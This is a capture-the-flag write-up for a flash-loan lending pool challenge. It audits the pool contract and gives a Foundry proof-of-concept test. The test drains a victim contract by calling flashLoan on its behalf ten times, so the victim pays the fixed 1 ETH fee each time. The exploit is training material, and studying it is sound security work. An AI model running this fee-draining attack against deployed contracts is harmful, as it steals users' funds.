There's a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user's contract. If possible, in a single transaction.
TL;DR
The flashloan pool charges 1 ETH service fee for each flashloan request. The borrower parameter can be anyone, therefore we can force some other address to borrow flashloan repetitively and drain the fund of that address.
Code Audit
The first thing we see is the unusual flash loan fee:
uint256privateconstant FIXED_FEE =1ether; // not the cheapest flash loan
If we can charge the user 10 times, then user's fund will be drained.
The NaiveReceiverLenderPool.flashLoan() function has some issues:
functionflashLoan(address borrower,uint256 borrowAmount) externalnonReentrant {uint256 balanceBefore =address(this).balance;if (balanceBefore < borrowAmount) revertNotEnoughETHInPool();if (!borrower.isContract()) revertBorrowerMustBeADeployedContract();// Transfer ETH and handle control to receiver borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);if (address(this).balance < balanceBefore + FIXED_FEE) {revertFlashLoanHasNotBeenPaidBack(); } }
This function does not verify if borrower == msg.sender, so anyone can call this function on behalf of another user. Recall that the flash loan is extremely high, so we have a good chance here to drain user's fund.
Moreover, note that there is nothing stops us from calling flashLoan() multiple times. How is the flash loan fee handled in such case? Take a look at FlashLoanReceiver.receiveEther():
We see that the fee is added linearly. That means 1 flash loan costs 1 ETH, 2 flash loans cost 2 ETH, and so on. To drain user's fund, we can run 10 flash loans consecutively.
Building PoC
Borrow flashloan on behalf of flashLoanReceiver to drain its fund via the fee:
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import {Utilities} from"../../utils/Utilities.sol";import"forge-std/Test.sol";import {FlashLoanReceiver} from"../../../src/Contracts/naive-receiver/FlashLoanReceiver.sol";import {NaiveReceiverLenderPool} from"../../../src/Contracts/naive-receiver/NaiveReceiverLenderPool.sol";contractNaiveReceiverisTest {uint256internalconstant ETHER_IN_POOL =1_000e18;uint256internalconstant ETHER_IN_RECEIVER =10e18; Utilities internal utils; NaiveReceiverLenderPool internal naiveReceiverLenderPool; FlashLoanReceiver internal flashLoanReceiver;addresspayableinternal user;addresspayableinternal attacker;functionsetUp() public { utils =newUtilities();addresspayable[] memory users = utils.createUsers(2); user = users[0]; attacker = users[1]; vm.label(user,"User"); vm.label(attacker,"Attacker"); naiveReceiverLenderPool =newNaiveReceiverLenderPool(); vm.label(address(naiveReceiverLenderPool),"Naive Receiver Lender Pool"); vm.deal(address(naiveReceiverLenderPool), ETHER_IN_POOL);assertEq(address(naiveReceiverLenderPool).balance, ETHER_IN_POOL);assertEq(naiveReceiverLenderPool.fixedFee(),1e18); flashLoanReceiver =newFlashLoanReceiver(payable(naiveReceiverLenderPool) ); vm.label(address(flashLoanReceiver),"Flash Loan Receiver"); vm.deal(address(flashLoanReceiver), ETHER_IN_RECEIVER);assertEq(address(flashLoanReceiver).balance, ETHER_IN_RECEIVER); console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.startPrank(attacker);for (int i =0; i <10; i++) { naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver),0); }/** * EXPLOIT END * */validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {// All ETH has been drained from the receiverassertEq(address(flashLoanReceiver).balance,0);assertEq(address(naiveReceiverLenderPool).balance, ETHER_IN_POOL + ETHER_IN_RECEIVER); }}